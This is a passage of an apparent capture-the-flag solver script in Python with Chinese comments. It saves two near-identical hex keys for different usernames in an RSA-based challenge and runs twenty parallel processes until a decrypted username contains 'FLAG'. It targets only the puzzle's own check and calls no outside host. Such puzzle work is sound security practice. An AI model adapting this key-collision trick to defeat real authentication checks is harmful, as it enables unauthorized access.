inverse(keyint, self.phi) username_dec = pow(username_enc, d, self.n) username = base64.b64encode(long_to_bytes(username_dec)).decode() # print("decodebase64:",username) #assert "FLAG" in username, "Not Admin" if "FLAG" in username: print("OKK,flag{{123}},",username,call_count.value) return True else: return False # 函数A def function_A(): with call_count.get_lock(): # 确保进程安全地修改共享变量 call_count.value += 1 chall=Challenge() name1=b"tourist"#tmp.encode()[-1:]+b"tourist" # print(name1) key1="0x54455854434f4c4c42596647694a5545544851346841634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b" chall.save(name1, int(key1, 16)) name2=b"Btourist" key2="0x54455854434f4c4c42596647694a5545544851346845634b534d64357a597067716631595244686b6d78486b6850577074726b6f797a3238776e493956306148654175614b6e616b" chall.save(name2, int(key2, 16)) res=chall.check(0,int(key2, 16)) return res # 进程任务,循环调用函数A,直到函数A返回True或stop_flag为True def process_task(): while True: with stop_flag.get_lock(): # 确保进程安全地读取标志 if stop_flag.value: break if function_A(): with stop_flag.get_lock(): stop_flag.value = True break # 启动多进程任务 def start_processes(process_count): processes = [] for _ in range(process_count): p = multiprocessing.Process(target=process_task) processes.append(p) p.start() # 等待所有进程结束 for p in processes: p.join() if __name__ == "__main__": start_time = time.time() process_count = 20 # 启动20个进程 start_processes(process_count) print(f"函数A总共被调用了 {call_count.value} 次") end_time = time.time() execution_time = end_time - start_time print("Use time:", execution_time, "秒,",execution_time//60, "分")